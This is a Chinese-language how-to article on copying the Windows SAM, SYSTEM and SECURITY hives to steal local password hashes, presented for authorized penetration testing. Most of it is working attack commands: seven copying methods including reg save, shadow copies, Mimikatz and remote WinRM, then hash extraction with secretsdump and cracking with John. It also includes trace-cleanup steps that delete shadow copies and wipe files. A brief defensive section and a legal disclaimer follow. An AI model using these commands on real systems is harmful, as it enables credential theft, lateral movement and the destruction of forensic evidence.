Windows SAM文件复制技术分享
适用场景:授权渗透测试、取证分析、红队演练 系统要求:Windows XP 至 Windows 11/Server 2022(需管理员权限)
一、SAM文件核心原理
存储位置:%SystemRoot%\system32\config\SAM内容:本地用户密码的NTLM/LM哈希、账户策略锁定机制:系统运行时被lsass.exe独占锁定依赖文件:需同时复制SAM、SYSTEM、SECURITY(用于解密哈希)
二、7种实战复制方法(附命令)
方法1:注册表备份(无需第三方工具)
reg save HKLM\SAM C:\temp\SAM.save
reg save HKLM\SYSTEM C:\temp\SYSTEM.save
适用场景:已获取管理员权限的Shell 优势:系统原生命令,无文件写入痕迹
方法2:卷影副本(绕过文件锁定)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SAM C:\temp\SAM
关键参数:HarddiskVolumeShadowCopy1 需根据实际卷影ID调整
方法3:NinjaCopy(PowerShell脚本)
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\temp\SAM
特点:直接读取磁盘扇区,绕过文件锁定(脚本来源)
方法4:Mimikatz内存转储
mimikatz.exe "lsadump::sam /system:C:\temp\SYSTEM /sam:C:\temp\SAM" exit
原理:从LSASS进程内存提取解密后的SAM数据
方法5:离线系统复制(物理接触场景)
挂载目标硬盘到攻击机直接复制<分区>\Windows\System32\config\SAM 注意:需处理BitLocker加密
方法6:WMI远程复制(域环境)
$cred = Get-Credential
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
reg save HKLM\SAM C:\temp\SAM.remote
}
前提:需启用WinRM且用户有远程管理权限
方法7:紧急恢复控制台(旧系统)
> copy C:\windows\repair\SAM C:\temp\SAM_backup
局限:仅包含系统安装时的初始账户信息
三、渗透测试关键技巧
权限提升先决条件
使用whoami /priv检查SeBackupPrivilege权限若无权限:调用SeBackupPrivilege启用工具(如SeBackupPrivilegeTool) 哈希提取与破解
# 使用secretsdump.py解密
python3 secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
# John破解哈希
john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
痕迹清理
删除卷影副本:vssadmin delete shadows /for=C: /quiet覆盖临时文件:cipher /w:C:\temp
四、防御与检测方案(蓝队参考)
防御措施
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"RunAsPPL"=dword:00000001 ; 启用LSASS保护
"LimitBlankPasswordUse"=dword:00000001
启用Credential Guard(Windows 10+/Server 2016+)监控reg save等高危命令执行限制Volume Shadow Copy Service服务权限
检测指标(SIEM规则示例)
event_id: 4656 # 文件对象访问
object_path: *\config\SAM
access_mask: 0x2 # FILE_WRITE_DATA
user: NOT SYSTEM
五、法律与道德声明
严格授权:仅在书面授权的目标系统操作数据处置:测试后立即销毁复制的SAM文件合规标准:遵守OSSTMM、PTES渗透测试框架风险告知:明文传输SAM文件可能违反数据保护法(如GDPR)
总结
复制SAM文件是横向移动的关键跳板,但现代系统防御(如PPL、Credential Guard)显著增加了操作难度。建议红队:
优先尝试内存提取(Mimikatz/Comsvcs.dll)备用卷影副本+注册表组合技关注Linux子系统等新型攻击面
附录工具包:
ImpacketMimikatzWindows Credentials Editor